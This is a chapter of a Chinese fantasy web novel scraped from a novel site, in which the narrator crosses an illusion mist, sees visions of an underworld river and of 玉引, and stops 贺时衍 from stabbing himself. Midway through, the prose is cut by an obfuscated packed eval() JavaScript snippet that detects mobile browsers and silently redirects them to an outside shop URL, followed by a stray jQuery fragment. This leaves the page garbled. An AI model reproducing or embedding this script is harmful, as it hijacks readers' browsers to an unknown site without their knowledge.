文趣网 > 其他小说 > 死遁后,白月光和替身都疯了 > 25. 灵虚秘境(九)
    次日清晨,我们站在迷雾边境。

    雾海横亘在山谷间,从我们脚下一直铺到视野尽头。昨夜从远处看还不觉得,此刻站在边缘,才真正感受到那股扑面而来的诡异——灰白色的雾气缓缓涌动着,迷雾深处似有低沉的絮语。

    “这是见性雾。”我把那日玉引所写的笔记大致复述了一遍,“进入后每个人都会见到不同的场景。或见逝者,或见来日,或见己身最惧之事,或见毕生求而不得。所见者未必妄,未必真。只有守住本心,就能走出去。”

    厉寒声皱着眉看我,却没有再质疑。虞子衿倒是若有所思的盯着那片雾海,不知在想些什么。

    我说:“进去之后,多半会走散。若是有缘,就在雾中那座废弃神庙汇合吧。”

    “既如此,我们便暂时分开入迷雾吧。”厉寒声往前迈了一步,又回头,盯着贺时衍,“贺时衍,你可别在雾里对我动手。”

    贺时衍神色淡淡,语气温和得挑不出毛病:“厉兄这话说得奇怪。会动手的人多了,未必是我。”

    厉寒声噎了一下,他狠狠瞪了贺时衍一眼,抱着剑转身踏入雾中。雾气翻涌,瞬间吞没了他的身影。

    明真与虞子衿朝我们点了点头,也转身没入雾中。

    贺时衍忽然伸手握住我的手腕,轻声道:“一起进去吧。”

    我点了点头,与他一同踏入雾中。然而雾气涌来的瞬间,手腕上那一抹温度忽然消失,方才还在我身边的贺时衍居然不见了。

    迈入的瞬间整个世界就变了,灰白色的雾从四面八方涌来,粘稠得令人不适。我回头看去,来路已经不见了。往前看去,三步之外什么都看不清。

    “贺时衍?”我喊了一声。

    没有回应。

    “有人吗?”

    我的声音在雾里飘荡,很快被吞没。

    我已做足心理准备重历毕生梦魇、面对恐怖场景,但我却什么都没有看见,只有无穷无尽的雾。

    我继续往前走,走了不知多久,突然听见不远处有人声。我循声走去,看见前方站着一个人。

    那人背对着我,身形修长,穿着玄真宗的衣袍。

    我的心猛地一跳:“明真?”

    那人缓缓转过身,却是一张陌生的脸。

    不是明真。只是某个进入这迷雾的玄真宗修士,他眼神空洞地望向虚空某处,嘴里喃喃着什么,像是被魇住了。

    走了这么久难得遇见个人,还是贺时衍同门,我正想着是否应该走近瞧瞧,就见他突然爆发出一阵狂笑,拔剑便乱对着四周空气挥乱砍起来。那笑声又尖又哑,听不出是欢喜还是悲苦,随即踉踉跄跄地追着什么东西跑进了迷雾深处。

    我快步跟去,然而几步之间,雾气突然再次变浓。

    眼前只一片障目的白,伸手不见五指。我凭着感觉往前走了几步,却突然意识到脚下的地面变了。

    脚下不再是碎石和泥土,而是逐渐变成某种柔软的、湿润的触感。

    我低头看去,横贯在面前的是一条黑色的长河。

    不知何时水已经漫过了脚踝,刺骨冰寒。我想要后退,却发现身后来时的路已经彻底消失了,四周全是灰白的雾,和无边无际的黑水。

    天空中有白色纸钱缓缓飘洒,长河两岸开满了红色的花。

    那些花开得极艳。殷红如血的花瓣沿着河岸一路蔓延到视线尽头,一朵挨着一朵,密密麻麻,花瓣细长蜷曲,边缘如丝,像从地底渗出的血泊。

    这花我见过。我第一次化虚为实,变出的就是这花。后来在梦里,在无数个记不清的夜里,我偶尔也梦见过。曼珠沙华,生在冥界,长在奈河两岸,是接引亡魂的花。我正踏在一条死人走的,冥府之路上。

    我站在河边,看着那片红色的花海,看着那条黑色的河。突然感到十分迷惑。

    ——这就是我的幻境吗?

    这就我的来日、最恐惧的场景,或是毕生求而不得吗?

    真是奇也怪哉,似乎哪个都对应不上。

    我早知道万物终有一死,说实话我到如今竟活了两百个年月,还从山野精怪混成了仙君膝下的爱宠,也算是光宗耀祖,因此倒也不惧怕死亡。

    我走入岸边花海,摘了朵花想看看与我变出的可有什么不同,却忽然看见远处河边站着一个人。

    那人背对着我,墨色的长发垂落在腰间,衣袂在雾气里微微飘动。

    我喊了一声,他不应。

    那人一步步走入河心,愈行愈远,我突然一阵没来由的恐慌,忙追了上去,可他始终与我隔着那一段距离,不远不近,怎么都追不上。

    “你是谁?”

    他不回答。

    河水越漫越高,没过膝盖,没过腰际。冰冷的水流在身周涌动,却没有一丝声响,安静得像一场无声的梦魇。

    他缓缓转过头来——那张脸被雾气笼罩,什么都看不清,只看见嘴角一抹极淡的笑,像随时会消散在风里。不知为何,我觉得他极其哀伤。

    双腿突然像被钉在水里,动弹不得。

    我想要喊,却发不出声。那河水突然暴涨转瞬间漫过我的头顶,冰冷的河水灌进口鼻,我拼命往上挣扎,可双腿像被无数只手缠住,抓着我往下拽。黑暗从四面八方涌来,挣扎的力气一点点流失,意识也渐渐模糊。我一直往下坠,直至我忽然闻见了一股血腥气。浓烈腥甜,呛得人几乎无法呼吸。

    脚下不再是水,我踏在粘稠的血河之中。

    那血漫过脚背,温热黏腻,眼前尸体堆积成山。那些尸体的脸模糊不清,只有一双双死不瞑目的眼睛瞪着灰白的天空,空洞而绝望。

    我站在尸山血海中央,四周是残破的石壁,像是某座坍塌的殿宇。有烛火在风中摇曳,明明灭灭。

    一人立于中央,手握长剑,白衣如雪,不染纤尘,与这满地血污格格不入。

    竟是玉引仙君。

    我欣喜:“玉引!”

    他转过身来,剑尖指向我,眼神冰冷,没有一丝温度。

    我未来及反应,就见那剑毫不犹豫向我刺来。

    即将刺中的瞬间,画面碎裂,我再次坠入黑暗。

    有声音从极深处传来,空灵幽远,像隔着千山万水。

    “若画中长安入旧,你肯入画吗?”

    我睁大眼想寻找声音来处,眼前黑暗忽然消散,我看见巍峨城楼上灯火通明,玉引站在那里,白衣如雪,眉眼温柔,正低头望着什么。我顺着他目光看去,城楼下有一个女子仰头望他,笑靥如花。是我自己。

    想喊他,发不出声。

    我依然在坠落,他的脸越来越远,越来越模糊,城楼的灯火也渐渐熄灭,最后只剩一个白色的影子,还站在那茫茫黑暗里。

    然后连那影子也没了。

    我一直往下坠落,不知坠了多久,奈河水又漫上来,从四面八方涌来把我吞噬。

    那黑暗越来越重,就在意识即将涣散的瞬间,我突然感到一整剧烈的心悸,心脏骤缩——那是兽类本能的对即将到来死亡的感知。

    ——我猛地睁开眼。

    眼前是灰白的迷雾,脚下黑褐色的泥沼正在一寸一寸吞没我的脚踝。那泥沼中生着诡异的藤蔓,藤蔓上开着一朵朵惨白的花,花瓣边缘有细密的齿,正朝我脚边缓缓蠕动。

    我已经踩进去很深了,再往前一步,或者再晚片刻醒来,恐怕就再也醒不过来了。

    我踉跄着后退,跌坐在硬实的土地上,坠落的失重感还在胸口翻涌,我只觉心脏咚咚地撞着胸腔,大口大口喘着气。

    刚才那些画面还在脑海里翻涌。奈河,河中人,尸山血海中的玉引,还有那无止境的坠落——

    那都是什么。

    我回头看了一眼那片吞噬幻境的迷雾,它依然在那里,无声地翻涌着,像是刚才什么都没有发生。

    见性雾。

    或见逝者,或见来日,或见己身最惧之事,或见毕生求而不得。

    然而所见者未必为真。至少……至少玉引绝不会像幻境中那样,用剑刺向我。

    我甩了甩头,把这些念头都甩开。这幻境里的东西不知真假,多思无益。只是这雾如此诡异,连我也差点中招,需得快些找到贺时衍。

    我才想起入雾前给了贺时衍一根我的羽毛,我们一同进雾,应当离得不远。我试了一下,果然能感应到大致方向。

    我循着那方向走了一阵,然而这雾能吞噬声音,也能扭曲方向。我在那一片白茫茫里走了不知多久,脚下的路总是走着走着就偏了,四周的景致永远是一成不变的灰白,像是被困在一个没有尽头的梦里。

    隐约听见些声音时,我几乎以为是自己的错觉。

    那声音时远时近,像是低低的呓语,又像是痛苦的呻吟。我循着声音走,走着走着,那声音又忽然变了方向。雾里听声辨位本就不易,我转来转去,始终找不到源头。

    忽然脚下踩到什么软的东西。低头一看,是一株被踩烂的植物,汁液还新鲜着。我愣了一下,往前看去,就见一连串被踩过的痕迹歪歪扭扭延伸向雾中,那是人的脚印。

    我心里一紧,顺着那痕迹追过去。

    痕迹尽头,贺时衍蜷缩在地上。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740104|205248||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>他浑身发抖,脸色白得吓人,额上全是冷汗,嘴唇紧抿着,却还是有破碎的字眼从齿缝间溢出。我冲过去蹲下,凑近了才听见模糊的几个字:

    “……不是……不是我……你是谁……我……我是……”

    他声音越来越低,眉头紧蹙,似十分挣扎。不论是喊他的名字,还是推他的肩膀,他都毫无反应,只那双眼睛紧闭着,睫毛颤抖得厉害。

    我心里一沉。被魇住的人,怕是只能靠自己醒来。

    我守在他身边,看着他那张惨白的脸,心里说不出是什么滋味。他到底在幻境里看见了什么?他如今还未至及冠之年,小小年纪,怎会有如此多的痛苦?

    正想着,他忽然安静了下来。

    那是一种诡异的、死寂般的安静。他嘴唇微微开合,声音微颤,轻得像是在梦里呓语:

    “不要……不要走……不要走……”

    那声音低得几乎听不见。我看着他那张苍白的脸,顿时十分好奇起来。他这是在让谁不要走?竟带着几分恳求。

    没等我想明白,他的声音忽然变了调,嗓音沙哑得几乎撕裂,每一个字都像是从胸腔深处挤出来的,带着一股让人心悸的绝望:

    “不要死——不许死——不要——”

    话音未落,他右手猛地抬起,双指并拢,直直朝自己眉心刺去。指尖凝聚着一道锐利的灵气,那光芒刺得我眼睛发疼——这一下要是刺中,眉心贯穿,必死无疑。

    我脑子里一片空白,来不及多想,一掌拍向他手腕。

    灵气对撞,震得我手臂发麻。他的手指偏了几分,却还是擦着额角划过,留下一道血痕。血珠渗出来,顺着他苍白的脸颊滑落。

    他浑身一震,猛地睁开眼。

    那双眼睛空洞了几息,瞳孔涣散着,什么都看不见。然后渐渐聚焦,落在我脸上。

    他怔怔地看着我,目光落在我挡在身前的手臂上,又落回我的脸,像是才反应过来发生了什么:“我……我伤了你?”

    他的声音卡在喉咙里,整个人都在微微战栗。

    “对不起。”他哑着嗓子挤出一句,声音都在颤。

    我伸手把他额角的血擦掉:“醒了就好。”

    过了很久,他才开口:“刚才那些……都不是真的,对么。”

    那笔记上说雾里看见的未必为真或假。此时我也不知如何作答,只轻声“嗯”了一下,权当安慰。

    他垂下眼,不再说话,只是靠在我身边,一下一下喘着气。一张脸还白着,方才激烈的情绪倒是收敛了下来。

    他抬头看着我,沉默了一会儿,忽然说:“姐姐,你脸上有血。”那眼睛湿漉漉的,看上去极为自责,像是下一秒就要哭出来。

    我摸了一把,指尖沾了点红,伤口已经不流了。

    “小伤。”我说,“这雾不知道什么时候散,先找到其他人再说。”

    他点点头,跟在我身后。

    雾气依然浓得化不开,脚下忽而硬实忽而湿滑,不知走了多久,前方隐约出现一片建筑的轮廓。是石殿。

    没过多久,就见虞子衿和明真一同从雾中出来。

    虞子衿步履从容,面色如常,嘴角甚至还带着些笑意,看上去心情不错。明真走在他身侧,衣袍上沾着尘土,头发也有些散乱,像是摔过跤,狼狈得很。

    “虞道友看见什么了,这么开心?”我随口问了一句。

    “往日不可追。”他笑了笑,慢悠悠地随意说道,“光阴若可倒流,倒也不枉此行了。”

    我没听懂他到底看见了什么,但也没再问。这人说话向来绕来绕去,问了也是白问。

    明真走到一旁,靠在石柱上,一言不发。他看了虞子衿一眼,那目光一闪即逝,什么都没说,又垂下眼去。

    又等了很久,厉寒声最后一个从雾中出来。

    他浑身戾气,盯着我们看了片刻。那目光冷得像淬过冰,像要把所有人看穿。然后他走到远处,背对众人坐下,一言不发。

    气氛微妙得让人不适。

    我打破沉默:“雾里所见,未必是真。大家先休息,等雾散了再议。”

    各人占据一角,沉默地调息着。

    我在殿中走了一圈。

    壁画剥落得太厉害,什么也看不清。那些斑驳的痕迹像是被岁月啃噬过,只剩下些模糊的轮廓。角落里有一扇巨大的石门,门上刻着复杂的符文,中央有一个手掌大小的凹槽。

    形状和我怀里的令牌一模一样。

    我取出那枚从偏殿得到的令牌,在手里握了握。犹豫片刻,将它嵌入凹槽。